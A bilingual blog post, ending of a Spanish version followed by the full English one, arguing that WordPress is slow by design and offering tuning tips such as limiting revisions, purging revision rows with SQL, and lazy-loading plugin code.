Crea funciones anónimas para los "actions" y que no sean más que un include a ficheros externos dónde tengas tu código. Así, si esa acción no llega nunca a lanzarse tampoco PHP tendrá que parsear todo el código. Ejemplo:

    add\_action('admin_init', function() {
        include(__DIR__."/zonas/panel/init.php");
    });

    add\_action('admin_menu', function() {
        include(__DIR__."/zonas/panel/menu.php");
    });

Para widgets, shortcodes y filtros, usa clases con namespace. Además, que estás clases se instancien mediante autocarga.

    //Recomendable usar mejor: spl_autoload_register() 

    function __autoload($classname) {
        $file = str_replace('', DIRECTORY_SEPARATOR, $classname);

        include_once(BASE_PATH.$file.'.php');
    }

    add_shortcode( 'block', array('misshortcodesBlock', 'load') );
    //...mis otros shortcodes, filtros y widgets, ....

Como resumen, hemos visto que WordPress tiene como principios de diseño a la simplicidad y flexibilidad, pero de una forma que le resta eficiencia. Hay que pensar que ninguna herramienta de desarrollo es buena para todo. Si alguien te lo presenta así es porque te está engañando o te vende una navaja suiza que no sirve para nada. WordPress cojea en su velocidad, pero para sitios webs escaparates es algo que no hay que darle mayor importancia. Para sitios en los que el negocio es la web se debería de plantear otras alternativas. Lo mismo para sitios con bastante tráfico. Si aún así queremos WordPress por su facilidad de uso y flexibilidad hemos de saber que habremos de compensarlo con un buen alojamiento, mucho cuidado con la selección de plugins y un tema de calidad y ajustado a nuestras necesidades.

WordPress is a Slow CMS

Manuel Canga — Thu, 05 Sep 2024 06:46:33 +0000

English version of my old post WordPress es un CMS lento - 2014

More than once, I've found myself in the middle of the debate: Is WordPress slow? Well, it’s not much of a debate when the only answer from those attached to WordPress is that there are sites with many visits using it, and their performance is optimal. These people seem to forget that even the bubble sort algorithm Bubble sort performs well for excessively large samples if "run" on a powerful machine. However, this doesn't mean it is necessarily an efficient algorithm (it is not, in fact) if we consider its computational complexity. The same thing happens with WordPress. Given the same amount of information, it will require a much more powerful hosting than other CMS. Not only that, but as we will see, WordPress is inherently slow whether it has a lot of information or not.

This does not mean that WordPress is bad. Nothing could be further from the truth. Just like in a car, speed is not everything. The same goes for the world of CMS. In fact, many of my web projects are built with it. However, each project is different, and therefore, you need to choose the best tools wisely, not out of attachment.

Since I am a technical person, my arguments will be based on technical aspects. Particularly when I understand that WordPress is slow due to its design. I invite anyone who disagrees to leave a comment with their reasoning.

All in One Table

When designing a database schema for a web project, the question arises whether to go for practicality or efficiency. In the case of WordPress, they chose practicality and grouped posts, custom posts, resources, and versions all in one table: wp_posts. This action has the advantage of simplifying the code and searches (although this is another issue WordPress struggles with, as we will see in another post), but on the downside, it drastically reduces WordPress's efficiency. Some examples to make this clearer:

If we have 500 posts, and each has four different revisions (the current one and three more), it’s as if we were dealing with 2,000 posts.
If we have 500 products with WooCommerce, and each has a featured image and four in a product gallery, it’s as if our CMS had to handle 3,000 products.
If we have a small website with 35 pages and 35 menu items, whether external or internal links, our content manager would work as if there were 70 pages since each menu item counts as an entry or page in our CMS. This might not seem much in this example, but it shows another factor influencing performance.
If you have 500 products in four languages, your WordPress will act as if it were handling 2,000 products.
Now, let’s go to a real-world example in summary: If you have a website with 500 products, each with a featured image, four product gallery images, and a PDF with technical information, and the site also has a blog with 200 entries, each with their respective featured images. If your site also supports three languages and is set to allow only two revisions per post, WordPress must search through over 5,500 items every time it queries your database. I am ignoring other factors like menu items, pages, and custom posts. Advice:
Limit the number of revisions to two or disable them completely:

// Limit revisions to two:
define('WP_POST_REVISIONS', 2);
// Completely disable revisions:
// define('WP_POST_REVISIONS', false);

Delete all revisions from time to time. You can do this by running the following SQL query:

DELETE a, b, c FROM wp_posts a
LEFT JOIN wp_term_relationships b ON (a.ID = b.object_id)
LEFT JOIN wp_postmeta c ON (a.ID = c.post_id)
WHERE a.post_type = 'revision';

Be frugal with the images on your website. Do not add images to your CMS that you will not use.
Avoid having multiple menus unless they are essential. Remove menu entries you do not intend to use.
If you have no other option, because your client insists on using WordPress for medium or large projects, try creating auxiliary tables to lighten the load on wp_posts as much as possible.

Your WordPress Has Alzheimer's

WordPress seeks flexibility at any cost, even at the expense of speed. Maybe because in its beginnings, it was only going to be a blogging system, and in that case, so much flexibility wouldn’t cause much damage. However, when we started using it as a CMS, performance problems caused by this flexibility began to arise.

Let me give you some bad news: your content manager has Alzheimer’s. It forgets everything from one request to another. You will have to repeat each time which custom posts, sidebars, or menus you are going to use. There is no other choice because it forgets. That's why, for example, if you want to add an entry to the admin menu, you will have to tell it every time it is to be displayed. Yes, it offers enormous flexibility, but it forces PHP and the CMS to process the same thing repeatedly, resulting in a loss of efficiency. The same thing happens with plugins, which is why many plugins can significantly slow down your website. It’s not because of the plugin system itself (which is magnificently designed and programmed) but because plugins have to declare the same information repeatedly, forcing WordPress to go through them entirely with every request.

A performance-focused CMS would have done it differently. For example, by having the theme declare during activation what sidebars, custom posts, or other elements it needs. This CMS would register this information and adjust internally. The same could be applied to plugins. But, as mentioned earlier, such an approach would significantly reduce the CMS's flexibility, which for WordPress is not desirable.

Tips:

Limit the number of plugins.
Choose minimalist themes that only have what you need.
You might be advised to use a cache plugin; I don't. Only use one if your website is extremely slow and do so with caution. I will discuss this in another post (edit: now available: Don’t Use Cache Plugins with WordPress, but basically, it’s because you will disable all of WordPress’s internal workings based on hooks. That is, you will force WordPress to work in a way that is not intended.

Everything Always Available

As almost everyone knows, WordPress started as a blogging system based on a previous system. It wasn't designed for large projects, which is why its design leaned toward simplicity. No classes, just functions. As with any design aspect, this doesn’t have to be a bad thing (just ask those using desktops built with GTK) unless you are looking for flexibility. Then, the headaches begin.

If you come from the PHP world, you might be surprised that with WordPress, you don’t have to use "require," "include," or "namespace." This is easy to understand: WordPress always loads its entire arsenal of libraries. Yes, always, whether you use them or not. When you combine this with its memory issues, well... that's a lot of code to read with every request. But, of course, this is all for flexibility. You can use a core function without having to include a file that might change names or paths tomorrow.

Since PHP 5.6, there is full support for function namespaces. Maybe this is a solution for WordPress. But in that case, they will have to make the difficult decision of breaking backward compatibility. I don't know what they will do.

There’s nothing you can do to improve this, as it’s part of WordPress’s design. All you can do is your part: make sure your code doesn't follow this path. If you decide to do so, here are my tips:

Create anonymous functions for "actions" that are nothing more than includes to external files where you keep your code. This way, if the action never triggers, PHP won’t have to parse all the code. Example:

add_action('admin_init', function() {
    include(__DIR__ . "/zones/panel/init.php");
});

add_action('admin_menu', function() {
    include(__DIR__ . "/zones/panel/menu.php");
});

For widgets, shortcodes, and filters, use classes with namespaces. Also, make sure these classes are instantiated using autoloading.

// It's better to use: spl_autoload_register()

function __autoload($classname) {
    $file = str_replace('\\', DIRECTORY_SEPARATOR, $classname);

    include_once(BASE_PATH . $file . '.php');
}

add_shortcode('block', array('myShortcodesBlock', 'load'));
//... my other shortcodes, filters, and widgets...

In summary, we have seen that WordPress's design principles are simplicity and flexibility, but in a way that sacrifices efficiency. It is essential to understand that no development tool is good for everything. If someone presents it that way, they are either misleading you or selling you a Swiss army knife that is good for nothing.

WordPress struggles with speed, but for showcase websites, this is not something to worry about. However, for websites where the business relies on the web, or for sites with a lot of traffic, alternative options should be considered. Still, if we choose WordPress for its ease of use and flexibility, we must compensate by investing in good hosting, being very careful with the selection of plugins, and using a high-quality theme tailored to our needs.